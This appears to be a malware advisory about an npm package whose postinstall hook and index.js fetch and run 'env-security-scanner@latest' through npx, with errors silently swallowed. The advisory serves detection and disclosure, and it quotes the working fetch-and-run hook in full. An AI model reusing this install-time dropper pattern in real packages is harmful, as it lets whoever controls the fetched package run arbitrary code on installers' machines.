Its package.json postinstall hook runs `node -e \"try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}\"`, fetching whatever version of `env-security-scanner` is current on the npm registry at install time and executing it on the installer's machine. The errors are silently swallowed by a try/catch, hiding failures from the installer. The package has no functionality of its own: index.js (used as both main and bin) does the same `npx env-security-scanner@latest audit_environment` invocation. Whoever controls the `env-security-scanner` package — or whoever takes it over in the future — can ship arbitrary code to every installer of this package at any time. Author metadata is a generic placeholder (\"Safe Deploy Initiative\"). This is the canonical install-time-RCE dropper pattern: unpinned `@latest` reference + lifecycle hook + no functionality except summoning another package.\n\n## Source: ghsa-malware (f98514c854a69fd0663f947852d9a1b24859f3882f41227626cfedfc05d8f2ab)\nAny computer that has this package installed or running should be considered fully compromised.
